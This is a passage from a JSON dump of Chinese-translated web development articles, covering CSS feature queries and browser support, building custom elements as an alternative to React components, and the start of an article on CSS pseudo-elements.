[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 \n"
  },
  {
    "path": "TODO1/a-guide-to-css-support-in-browsers.md",
    "content": "> * 原文地址：[A Guide To CSS Support In Browsers](https://www.smashingmagazine.com/2019/02/css-browser-support/)\n> * 原文作者：[Rachel Andrew](https://www.smashingmagazine.com/author/rachel-andrew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-css-support-in-browsers.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-css-support-in-browsers.md)\n> * 译者：[huimingwu](https://github.com/huimingwu)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [QiaoN](https://github.com/QiaoN)\n\n# 浏览器中 CSS 支持指南\n\n摘要：当你想要使用某个特性，发现它不受支持或在不同的浏览器中的行为不同时，这可能会令人沮丧。在本文中，Rachel Andrew 详细介绍了不同类型的浏览器支持问题，并展示了 CSS 是如何发展的，以便更容易地处理这些问题。\n\n我们将永远不会生活在一个每个浏览我们网站的人都拥有相同浏览器和浏览器版本的世界中，就像我们永远不会生活在一个每个人都拥有相同大小的屏幕和分辨率的世界中一样。这意味着应对老版本的浏览器，或者不支持我们想要使用的东西的浏览器，是 Web 开发人员工作的一部分。即便如此，现在的情况比过去好多了。在本文中，我将介绍一下我们可能遇到的不同类型的浏览器支持问题。我将向你们展示一些处理这些问题的方法，并介绍将来可能就会有帮助的东西。\n\n## 为什么我们有这些差异？\n\n即使有一个世界里的大多数浏览器都基于 Chromium，它们运行的 Chromium 版本也不一定和 Google 的 Chrome 浏览器相同。这意味着一个基于 Chromium 的浏览器，比如 Vivaldi，可能比 Google Chrome 落后几个版本。\n\n当然，用户并不总是随时更新他们的浏览器，尽管近年来随着大多数浏览器默认自动升级，这种情况有所改善。\n\n还有一种方式是，新特性首先进入浏览器。这种情况下，CSS 的新特性并不是由 CSS 工作组设计的，而是一个完整的规范交由浏览器厂商实现。通常，只有在实验实现发生时，才能计算出规范的所有细节。 因此，**特性开发是一个迭代过程**，并且要求浏览器在开发中实现这些规范。虽然现在的实现大多是在浏览器的 flag 后面，或者只在 Nightly 或预览版中可用，但是一旦浏览器具有完整特性，即使没有其他浏览器支持，它也可能为所有人开启。\n\n所有的这一切都意味我们永远不会生活在这样一个世界：所有桌面和手机上的特性都能同时可用。尽管我们可能很喜欢这样的世界。如果你是一名专业的 web 开发人员，那么你的工作就要面对这个现实。\n\n## Bug vs. 缺乏支持\n\n关于浏览器支持，我们面临如下三个问题：\n\n1. [特性不支持](#no-support-of-feature)：第一个问题，也是最容易处理的问题，就是浏览器根本不支持这个特性。\n\n2. [涉及浏览器 “Bug”](#dealing-with-browser-bugs)：第二种情况是，浏览器声称支持该特性，但其支持方式与其他浏览器支持该特性的方式不同。由于在不同浏览器中表现出不同的行为，我们通常称这类问题为“浏览器 bug”。\n\n3. [CSS 属性的部分支持](#partial-support-css-properties)：浏览器支持某一特性的一种情况，但仅在一种环境中。这个问题也越来越普遍。\n\n当你看到不同浏览器之间的差异时，理解你正在处理的问题是很有用的，因此让我们依次看看这些问题。\n\n## 1. 特性不支持\n\n如果拟使用浏览器不理解的 CSS 属性或值，浏览器将忽略它。无论你是使用不受支持的特性，还是虚构一个特性并尝试使用它，浏览器都将忽略它。如果浏览器不理解这一行 CSS，它就跳过这一行，继续做它能理解的下一件事。\n\nCSS 的这种设计原则意味着你可以愉快地使用新特性，因为你知道如果浏览器不支持这些特性，也不会有什么坏事发生。对于一些纯粹用作增强的 CSS，使用该特性，确保当该特性不可用时体验仍然良好，这就是你需要做的全部工作，仅此而已。这种方法是渐进式增强背后的基本思想，使用浏览器的这个特性可以在不理解新特性的浏览器中安全使用新特性。\n\n**如果你想检查浏览器是否支持你正在使用的特性，那么你可以查看 [Can I Use](https://caniuse.com/)。另一个寻找详细支持信息的好地方是在 [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference) 上的每个 CSS 属性所在的页面。那里的浏览器支持数据往往非常详细。**\n\n### 新 CSS 理解旧 CSS\n\n随着 CSS 新特性的开发，需要注意它们如何与现有的 CSS 相互影响。例如，在 Grid 和 Flexbox 规范中，详细说明了 “display: Grid” 和 “display: flex” 如何处理浮动项变成网格项或 multicol 容器变成网格等场景。这意味着某些现有的行为会被忽略，从而帮助你简单地覆盖不支持的浏览器的 CSS。这些重写的详细信息参见 [Progressive enhancement and Grid Layout on MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement).\n\n### 使用特性查询检测支持\n\n上面的方法只在你要用的 CSS 不需要其他属性的情况下才有效。你可能需要在 CSS 中为老版本浏览器添加额外的属性，然后支持该特性的浏览器才会对这些属性进行解释。\n\n在网格布局的使用中，可以找到一个很好的例子。当浮动项变成网格项时，将失去所有浮动行为。但如果你试图为带有浮动的网格布局创建回退，则你可能会为这些项添加百分比宽度和可能的边距。\n\n```\n.grid > .item {\n    width: 23%;\n    margin: 0 1%;\n}\n```\n\n[![A four column layout](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/22e70228-0261-4038-9dff-0bb32828f08c/feature-queries1.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/22e70228-0261-4038-9dff-0bb32828f08c/feature-queries1.png) \n\n使用浮动，我们可以创建一个四列布局，宽度和边距需要设置为 '%'。([Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/22e70228-0261-4038-9dff-0bb32828f08c/feature-queries1.png))\n\n当浮动项是网格项时，这些宽度和边距仍然适用。宽度为网格轨道的百分比，而不是容器的宽度;然后将应用任何边距以及你可能指定的间隙。\n\n```\n.grid > .item {\n    width: 23%;\n    margin: 0 1%;\n}\n\n.grid {\n    display: grid;\n    grid-template-columns: 1fr 1fr 1fr 1fr;\n    column-gap: 1%;\n}\n```\n\n[![A four column layout with squished columns](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/11787bcb-ac53-41ba-8390-7eb1a6b8ac79/feature-queries2.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/11787bcb-ac53-41ba-8390-7eb1a6b8ac79/feature-queries2.png) \n\n宽度现在是网格轨道的百分比，而不是容器的。 ([Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/11787bcb-ac53-41ba-8390-7eb1a6b8ac79/feature-queries2.png))\n\n幸运的是，现代浏览器的 CSS 中内置了一个特性可以帮助我们处理这种情况。特性查询允许我们直接询问浏览器支持什么，然后对响应进行操作。就像媒体查询测试设备或屏幕的一些属性一样，特性查询测试浏览器对 CSS 属性和值的支持。\n\n#### 测试支持\n\n测试支持是最简单的情况，我们使用 “@supports” 测试 CSS 属性和值。只有当浏览器以 true 响应时，即它确实支持该特性，特性查询中的内容才会运行。\n\n#### 测试不支持\n\n你可以询问浏览器是否不支持某个特性。只有当浏览器表明不支持时，特性查询中的代码才会运行。\n\n```\n@supports not (display: grid) {\n    .item {\n        /* CSS from browsers which do not support grid layout */\n    }\n}\n```\n\n#### 多重测试\n\n如果需要支持多个属性，请使用 “and”。\n\n```\n@supports (display: grid) and (shape-outside: circle()){\n    .item {\n        /* CSS from browsers which support grid and CSS shapes */\n    }\n}\n```\n\n如果你需要一个或另一个属性的支持，请使用 “or”。\n\n```\n@supports (display: grid) or (display: flex){\n    .item {\n        /* CSS from browsers which support grid or flexbox */\n    }\n}\n```\n\n#### 选择要测试的属性和值\n\n你无需测试你想要使用的每个属性，只需要测试一些能够表明支持你计划使用的特性的东西。如果你想使用网格布局，你可以测试 “display: Grid”。一旦将来 [subgrid 支持](https://www.smashingmagazine.com/2018/07/css-grid-2/) 进入浏览器，你可能需要更具体地测试 subgrid 功能。在这种情况下，你将测试 “grid-template-columns: subgrid”，并从那些支持 subgrid 的浏览器获得正确的响应。\n\n如果我们现在回到浮动的回退示例，我们可以看到特性查询将如何为我们排序。我们需要做的是查询一下浏览器的支持情况，看看它是否支持网格布局。如果是这样，我们可以将项目的宽度设置为 “auto”，将边距设置为 “0”。\n\n```\n.grid > .item {\n    width: 23%;\n    margin: 0 1%;\n}\n\n@supports(display: grid) {\n    .grid {\n        display: grid;\n        grid-template-columns: 1fr 1fr 1fr 1fr;\n        column-gap: 1%;\n    }\n\n    .grid > .item {\n        width: auto;\n        margin: 0;\n    }\n}\n```\n\n请查看 [Rachel Andrew](https://codepen.io/huijing/pen/daNaaV) 在 [CodePen](https://codepen.io) 上写的笔记 [Feature Queries and Grid](https://codepen.io/smashing-magazine/pen/daNaaV/)。\n\n请注意，虽然我已经在特性查询中包含了所有网格代码，但我根本无需这样做。如果浏览器不理解网格属性，它将忽略它们，这样它们就可以安全地位于特性查询之外。在本例中，必须包含在特性查询中的内容是 margin 和 width 属性，因为这些属性对于老版本的浏览器代码是必需的，同时也可以被支持的浏览器所应用。\n\n### 拥抱级联\n\n一种非常简单的提供回退的方法是利用浏览器忽略它们不理解的 CSS 的事实，以及当其它所有内容都具有相同特异性的情况下，根据哪个 CSS 应用于元素来考虑源顺序。\n\n首先为不支持该特性的浏览器编写 CSS。然后测试是否支持要使用的属性，如果浏览器确认支持，则使用新代码覆盖回退代码。\n\n这与你在使用媒体查询进行响应式设计时使用的过程大致相同，遵循的是移动优先的方法。在这种方法中，你从较小屏幕的布局开始，然后随着断点的移动，为较大屏幕添加或覆盖内容。\n\n[我可以使用 CSS 特性查询吗？](http://caniuse.com/#feat=css-featurequeries) 关于跨主要浏览器支持 CSS 特性查询的数据来自 caniuse.com。\n\n上述工作方式意味着你不需要担心不支持特性查询的浏览器。正如你从 **Can I Use** 中所看到的，特性查询得到了很好的支持。不支持它们的浏览器是 Internet Explorer 的任何版本。\n\n然而，你想要使用的新特性很可能在 IE 中也不受支持。因此，目前你基本上总是先为不支持的浏览器编写 CSS，然后使用特性查询进行测试。这个特性查询应该做支持测试。\n\n1.  如果浏览器支持特性查询，且支持正在测试的特性，将返回 true，然后将使用特性查询中的代码，覆盖老版本浏览器的代码。\n2.  如果浏览器支持特性查询，但不支持正在测试的特性，则返回 false。特性查询中的代码将被忽略。\n3.  如果浏览器不支持特性查询，那么特性查询块中的所有内容都将被忽略，这意味着像IE11这样的浏览器将使用你的老版本浏览器代码，这很可能也正是你想要的!\n\n## 2. 处理浏览器“错误”\n\n值得庆幸的是，第二个浏览器支持问题变得不那么常见了。如果你读过去年年底发表的 “[What We Wished For](https://www.smashingmagazine.com/2018/12/internet-explorer-what-we-wished-for/)”，你就能对过去一些令人困惑的浏览器 bug 有一个小小的了解。也就是说，任何软件都可能有 bug，浏览器也不例外。 如果我们加上这样一个事实：由于规范实现的循环性，有时浏览器实现了一些东西，然后规范发生了变化，所以现在需要发布一个更新。在更新发布之前，我们可能处于这样一种情况，即浏览器之间会做一些不同的事情。\n\n如果浏览器报告某些特性的支持不好，那么特性查询就不能帮助我们。没有哪种模式可以让浏览器说“**是的，但你可能不喜欢它**。”当一个实际的互操作性错误出现时，你可能需要在这些情况下更具创造性。\n\n如果你认为自己看到了一个 bug，那么首先要做的就是确认它。有时候，当我们认为自己看到了错误行为，浏览器做了不同的事情，错误就在我们身上。也许我们使用了一些无效的语法，或者试图对格式不正确的 HTML 设置样式。在这些情况下，浏览器会尝试做一些事情;但是，由于你没有按照设计的那样使用这些语言，每种浏览器可能会以不同的方式处理。快速检查 HTML 和 CSS 是否有效是非常好的第一步。\n\n在这一点上，我可能会做一个快速搜索，看看我的问题是否已经被广泛理解。 有一些已知问题的仓库，例如 [Flexbugs](https://github.com/philipwalton/flexbugs) 和 [Gridbugs](https://github.com/rachelandrew/gridbugs)。 然而，即使是精心挑选的几个关键字，也可能出现涵盖相关主题的 Stack Overflow 的帖子或文章，并可能为你提供一个解决方案。\n\n但是假设你不知道是什么导致了这个 bug，这使得寻找解决方案相当困难。因此，下一步就是为你的问题创建一个简化版的测试用例，即去掉任何与之无关的内容，以帮助你准确地确定触发该 bug 的原因。如果你认为你有一个 CSS 错误，你可以删除所有的 javascript，或者在框架外重新创建相同的样式吗？我经常使用 CodePen 来敲出我正在看到的东西的一个简化的测试用例；这有一个额外的优势，那就是如果我需要问问题，我可以很容易地与其他人共享代码。\n\n大多数时候，一旦你孤立了这个问题，就有可能想出另一种方法来达到你想要的结果。你会发现有人想出了一个巧妙的解决办法，或者你可以在某个地方发帖征求意见。\n\n这样说来，如果你认为你有一个浏览器错误，并且找不到其他任何人谈论相同的问题，那么你很可能发现了一些应该报告的新问题。随着最近所有新的 CSS 的发布，在人们开始将这些新东西与 CSS 的其他部分结合使用的过程中，问题随时可能会出现。\n\n**查看 Lea Verou 关于报告这类问题的帖子，“[Help The Community! Report Browser Bugs!](https://www.smashingmagazine.com/2011/09/help-the-community-report-browser-bugs/)”。 本文还提供了创建简化测试用例的重要提示。**\n\n## 3. CSS 属性的部分支持\n\n由于现代 CSS 规范的设计方式，第三种类型的问题变得更加常见。如果我们考虑网格布局和 Flexbox，这些规范都使用 Box Alignment Level 3 中的属性和值进行对齐。因此，像 `align-items`, `justify-content`,和 `column-gap` 这些属性被指定用于 Grid 和 Flexbox 和其它布局方法一样。\n\n然而，在编写本文时，`gap` 属性在所有支持网格的浏览器中都在网格布局中起作用，而 `column-gap` 属性在 Multicol 中起作用;然而，只有 Firefox 为 Flexbox 实现了这些属性。\n\n如果要使用边距为 Flexbox 创建回退，然后测试 `column-gap` 并删除边距，则在网格或多行中支持 `column-gap` 的浏览器中，框之间将没有空间，因此回退间距也将被删除。\n\n```\n@supports(column-gap: 20px) {\n    .flex {\n        margin: 0; /* almost everything supports column-gap so this will always remove the margins, even if we do not have gap support in flexbox. */\n    }\n}\n```\n\n这是当前特性查询的限制。我们没有办法测试在一个特性中对另一个特性中的支持。在上述情况下，我想问浏览器的是，“你是否支持 FlexBox 中的列间距？”这种情况下，我可能得到一个否定的回答，这样我就可以使用我的回退。\n\nCSS 碎片属性 `break-before`、`break-after` 和 `break-inside` 也有类似的问题。当页面被打印出来时，这些属性有更好的支持，因此浏览器通常会声明支持。然而，如果你在 multicol 中测试支持，你会得到误报结果。[我在 CSS 工作组就这个问题提出了一个问题](https://github.com/w3c/csswg-drafts/issues/3559)，然而，这并不是一个容易解决的问题。如果你有什么想法，请把它们加进去。\n\n## 选择器支持测试\n\n目前，特性查询只能测试 CSS 属性和值。我们可能想要测试的另一件事是较新的选择器的支持，例如选择器规范的 level 4 中的选择器。在 Firefox Nightly 的一个标志后面有一个[解释说明](https://github.com/dbaron/css-supports-functions/blob/master/explainer.md)和一个实现，这是一个功能查询的新功能，它将实现这一点。\n\n如果你在 Firefox 中访问 `about:config`，并启用标志 `layout.css.supports-selector.enabled`，那么你可以测试是否支持各种选择器。当前的语法非常简单，例如测试 `：has` 选择器：\n\n```\n@supports selector(:has){\n  .item {\n      /* CSS for support of :has */\n  }\n}\n```\n\n这是一个正在开发中的规范，不过，在我们陈述的时候，你可以看到如何添加特性来帮助我们管理始终存在的浏览器支持问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-guide-to-custom-elements-for-react-developers.md",
    "content": "> * 原文地址：[A Guide to Custom Elements for React Developers](https://css-tricks.com/a-guide-to-custom-elements-for-react-developers/)\n> * 原文作者：[CHARLES PETERS](https://css-tricks.com/author/charlespeters/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-custom-elements-for-react-developers.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-custom-elements-for-react-developers.md)\n> * 译者：[子非](https://www.github.com/CoolRice)\n> * 校对者：[Xcco](https://github.com/Xcco), [Ivocin](https://github.com/Ivocin)\n\n# 写给 React 开发者的自定义元素指南\n\n最近我需要构建 UI 界面，虽然现在 React.js 是我更为青睐的 UI 解决方案，不过长时间以来我第一次没有选择用它。然后我看了浏览器内置的 API 发现使用[自定义元素](https://css-tricks.com/modular-future-web-components/)（也就是 Web 组件）可能正是 React 开发者需要的方案。\n\n自定义元素可以具有与 React 组件大致相同的优点，而且实现起来无需绑定特定的框架。自定义元素能提供新的 HTML 标签，我们可以使用原生浏览器的 API，用编程的方式操控它。\n\n让我们说说基于组件的 UI 优点：\n\n*  **封装** — 把专注点放在组件的内部实现上\n*  **复用** — 当把 UI 分割成更通用的小块时，它们更容易分解为你可以复用的形态\n*  **隔离** — 因为组件是被封装过的，你能获得隔离带来的额外好处，即让你更轻松地定位错误和更易修改应用中的特定部分\n\n### 用例\n\n你可能想知道有谁在生产环境中使用自定义元素。比较出名的有：\n\n*   [GitHub](https://githubengineering.com/removing-jquery-from-github-frontend/#custom-elements) 在模态对话框、自动补全和显示时间三个功能上使用了自定义元素。\n*   YouTube 的[新 Web 应用](https://youtube.googleblog.com/2017/05/a-sneak-peek-at-youtubes-new-look-and.html)使用了 [Polymer](https://www.polymer-project.org/) 和 Web 组件。\n\n### 和组件 API 的相似点\n\n当试图比较 React 组件和自定义组件时，我发现它们的 API 非常相似：\n\n*   它们都是类，而类已经不是新的概念了，并且都能扩展自基类\n*   它们都继承挂载或渲染生命周期\n*   它们都需要通过 props 或 attributes 来静态或动态传入数据\n\n### 演示\n\n那么，让我们来构建一个小型应用，提供 GitHub 仓库的详细信息列表。\n\n![结果截图](https://css-tricks.com/wp-content/uploads/2018/10/screenshot-demo.png)\n\n如果我要用 React 来实现，我会定义一个如下的简单组件：\n\n```\n<Repository name=\"charliewilco/obsidian\" />\n```\n\n这个组件需要一个 prop —— 仓库名，我们要这么实现它：\n\n```\nclass Repository extends React.Component {\n  state = {\n    repo: null\n  };\n\n  async getDetails(name) {\n    return await fetch(`https://api.github.com/repos/${name}`, {\n      mode: 'cors'\n    }).then(res => res.json());\n  }\n\n  async componentDidMount() {\n    const { name } = this.props;\n    const repo = await this.getDetails(name);\n    this.setState({ repo });\n  }\n\n  render() {\n    const { repo } = this.state;\n\n    if (!repo) {\n      return <h1>Loading</h1>;\n    }\n\n    if (repo.message) {\n      return <div className=\"Card Card--error\">Error: {repo.message}</div>;\n    }\n\n    return (\n      <div class=\"Card\">\n        <aside>\n          <img\n            width=\"48\"\n            height=\"48\"\n            class=\"Avatar\"\n            src={repo.owner.avatar_url}\n            alt=\"Profile picture for ${repo.owner.login}\"\n          />\n        </aside>\n        <header>\n          <h2 class=\"Card__title\">{repo.full_name}</h2>\n          <span class=\"Card__meta\">{repo.description}</span>\n        </header>\n      </div>\n    );\n  }\n}\n```\n\n请看 Charles ([@charliewilco](https://codepen.io/charliewilco)) 在 [CodePen](https://codepen.io) 上的 [React 演示 — GitHub](https://codepen.io/charliewilco/pen/jeVMvK/)。\n\n来深入看一下，我们有一个组件，这个组件有它自己的状态，即仓库的详细信息。开始时，我们把它设为 `null`，因为此时还没有任何数据，所以在加载数据时会有一个加载提示。\n\n在 React 的生命周期中，我们使用 fetch 从 GitHub 获得数据，创建选项卡，然后在我们拿到返回数据后使用 `setState()` 触发一次重新渲染。所有 UI 使用的不同状态都会在 `render()` 方法里表现出来。\n\n### 定义/使用自定义元素\n\n使用自定义元素实现起来稍有不同。和 React 组件一样，我们的自定义元素也需要一个属性 —— 仓库名，它的状态也是自己管理的。\n\n如下就是我们的元素：\n\n```\n<github-repo name=\"charliewilco/obsidian\"></github-repo>\n<github-repo name=\"charliewilco/level.css\"></github-repo>\n<github-repo name=\"charliewilco/react-branches\"></github-repo>\n<github-repo name=\"charliewilco/react-gluejar\"></github-repo>\n<github-repo name=\"charliewilco/dotfiles\"></github-repo>\n```\n\n请看 Charles ([@charliewilco](https://codepen.io/charliewilco)) 在 [CodePen](https://codepen.io) 上的[自定义元素演示 — GitHub](https://codepen.io/charliewilco/pen/MPbeBv/)。\n\n现在，我们所需要做的就是定义和注册自定义元素，创建一个类，它继承自 `HTMLElement` 类，然后用 `customElements.define()` 注册元素的名字。\n\n```\nclass OurCustomElement extends HTMLElement {}\nwindow.customElements.define('our-element', OurCustomElement);\n```\n\n它是这样调用的：\n\n```\n<our-element></our-element>\n```\n\n这个新元素现在还不是很有用，但是有它之后，我们能用三个方法来扩展这个元素的功能。这些方法类似于 React 组件的 [生命周期](https://reactjs.org/docs/state-and-lifecycle.html#adding-lifecycle-methods-to-a-class) API。两个和我们最相关的类生命周期函数是 `disconnectedCallBack` 和 `connectedCallback`，而且由于自定义元素是一个类，它自然会有一个构造器。\n\n| 名字 | 何时调用 |\n| ---- | ----------- |\n| `constructor` | 用来创建或更新元素的实例。常用来初始化状态、设置事件监听或创建 Shadow DOM。如果你想知道在 `constructor` 可以做什么，请查看设计规范。 |\n| `connectedCallback` | 在元素被插入 DOM 后调用。用来运行创建任务的代码，例如获取资源或渲染 UI。总体上说，你应该在这里尝试异步任务。 |\n| `disconnectedCallback` | 在元素被移出 DOM 后调用。用来运行做清理任务的代码。 |\n\n为了实现我们的自定义元素，我们创建了如下类并设置了和 UI 相关的属性：\n\n```\nclass Repository extends HTMLElement {\n  constructor() {\n    super();\n\n    this.repoDetails = null;\n\n    this.name = this.getAttribute(\"name\");\n    this.endpoint = `https://api.github.com/repos/${this.name}`    \n    this.innerHTML = `<h1>Loading</h1>`\n  }\n}\n```\n\n通过在我们的构造器中调用 `super()`，元素自己的上下文和 DOM 操作 API 就可以使用了。目前，我们已经设置了默认的仓库详情为 `null`，从元素属性取得仓库名，创建一个用来调用的 endpoint，这样我们不用在后面定义，最重要的是，将初始的 HTML 设置成了加载提示。\n\n为了获取关于元素仓库的详情，我们将需要向 GitHub 的 API 发送请求。我们使用 `fetch`，[由于它是基于 Promise 的](https://css-tricks.com/using-data-in-react-with-the-fetch-api-and-axios/)，我们使用 `async` 和 `await` 来使我们的代码更易阅读。你可以[在这里](https://davidwalsh.name/async-await)了解更多关于 `async`/`await` 关键字，并且可以[在这里](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)了解更多浏览器的 fetch API 的内容。你还可以[在 Twitter 上和我讨论](https://twitter.com/charlespeters)，了解我是否更喜欢 [Axios](https://www.axios.com/) 库。（提示，这取决于我早餐时喝了茶还是咖啡。）\n\n现在，让我们给这个类添加方一个方法来向 GitHub 查询仓库详情。\n\n```\nclass Repository extends HTMLElement {\n  constructor() {\n  // ...\n  }\n\n  async getDetails() {\n    return await fetch(this.endpoint, { mode: \"cors\" }).then(res => res.json());\n  }\n}\n```\n\n下面，让我们使用 `connectedCallback` 方法和 Shadow DOM 来使用 `getDetails` 方法的返回值。使用这个方法的效果和我们在 React 示例中调用 `Repository.componentDidMount()` 类似。我们将开始时赋给`this.repoDetails` 的 `null` 替换掉 —— 并将在后面调用模板创建 HTML 时使用它。\n\n```\nclass Repository extends HTMLElement {\n  constructor() {\n    // ...\n  }\n\n  async getDetails() {\n    // ...\n  }\n\n  async connectedCallback() {\n    let repo = await this.getDetails();\n    this.repoDetails = repo;\n    this.initShadowDOM();\n  }\n\n  initShadowDOM() {\n    let shadowRoot = this.attachShadow({ mode: \"open\" });\n    shadowRoot.innerHTML = this.template;\n  }\n}\n```\n\n你会注意到我们正在调用与 Shadow DOM 相关的方法。除了作为被漫威电影拒绝的标题之外，Shadow DOM 还有自己[丰富的 API](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) 值得研究。为了我们的目标，它将抽象出一种将 `innerHTML` 添加到元素的实现。\n\n现在我们将 `this.template` 赋值给 `innerHTML`。现在来定义 `template`：\n\n```\nclass Repository extends HTMLElement {\n  get template() {\n    const repo = this.repoDetails;\n\n    // 如果获取错误信息，向用户显示提示信息\n    if (repo.message) {\n      return `<div class=\"Card Card--error\">Error: ${repo.message}</div>`\n    } else {\n      return `\n      <div class=\"Card\">\n        <aside>\n          <img width=\"48\" height=\"48\" class=\"Avatar\" src=\"${repo.owner.avatar_url}\" alt=\"Profile picture for ${repo.owner.login}\" />\n        </aside>\n        <header>\n          <h2 class=\"Card__title\">${repo.full_name}</h2>\n          <span class=\"Card__meta\">${repo.description}</span>\n        </header>\n      </div>\n      `\n    }\n  }\n}\n```\n\n自定义元素差不多就是这样。自定义元素可以管理自身状态、获取自身数据及将状态体现给用户，同时提供了可以在应用程序里使用的 HTML 元素。\n\n在完成本次练习之后，我发现自定义元素唯一需要的依赖是浏览器的原生 API 而不是另外需要解析和执行的框架。这是一个更具可移植性和可复用性的解决方案，而且这个方案和你喜欢并用之谋生的框架的 API 很相似。\n\n当然，这种方法也有缺点，我们说的是不同浏览器的支持问题和缺乏一致性。此外，DOM 操作 API 可能会十分混乱。有时它们是赋值。有时它们是函数。有时这些方法需要回调函数而有时又不需要。如果你不相信，那就去看一下使用 `document.createElement()` 将类添加进 HTML 元素的方法，这是使用 React 的五大理由之一。基本实现其实并不复杂，但它与其他类似的 `document` 方法不一致。\n\n现实的问题是：它是否会被淘汰？也许会。React 仍然在它该擅长的东西上表现良好：虚拟 DOM、管理应用状态、封装和在树中向下传递数据。现在几乎没有在该框架中使用自定义元素的动力。另一方面，自定义元素在制作浏览器应用上非常简单实用。\n\n### 了解更多\n\n*   [Custom Elements v1：可重用的 Web Components](https://developers.google.com/web/fundamentals/web-components/customelements)\n*   [使用 Custom Elements v1 和 Shadow Dom v1 制作原生 Web Components](https://bendyworks.com/blog/native-web-components)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-little-reminder-that-pseudo-elements-are-children-kinda.md",
    "content": "> * 原文地址：[A Little Reminder That Pseudo Elements are Children, Kinda.](https://css-tricks.com/a-little-reminder-that-pseudo-elements-are-children-kinda/)\n> * 原文作者：[Chris Coyier](https://css-tricks.com/author/chriscoyier/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-little-reminder-that-pseudo-elements-are-children-kinda.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-little-reminder-that-pseudo-elements-are-children-kinda.md)\n> * 译者：[Badd](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[lgh757079506](https://github.com/lgh757079506), [Moonliujk](https://github.com/Moonliujk)\n\n# 小提示：伪元素是子元素，吧。\n\n![](https://res.cloudinary.com/css-tricks/image/fetch/w_1200,q_auto,f_auto/https://css-tricks.com/wp-content/uploads/2019/06/pseudo-child.png)\n\n请看下列代码，一个有若干子元素的容器：\n\n```html\n<div class=\"container\">\n  <div>item</div>\n  <div>item</div>\n  <div>item</div>\n</div>\n```\n\n如果我这样写：\n\n```css\n.container::before {\n  content: \"x\"\n}\n```\n\n实质上等效于：\n\n```html\n<div class=\"container\">\n  [[[ 在此插入 ::before 伪元素 ]]]\n  <div>item</div>\n  <div>item</div>\n  <div>item</div>\n</div>\n```\n\n该伪元素大体上像是一个子元素。棘手的是，除了 `::before` 这个创造了该伪元素的选择器（或者一个类似的在相同位置以一个 `::before` 或者 `::after` 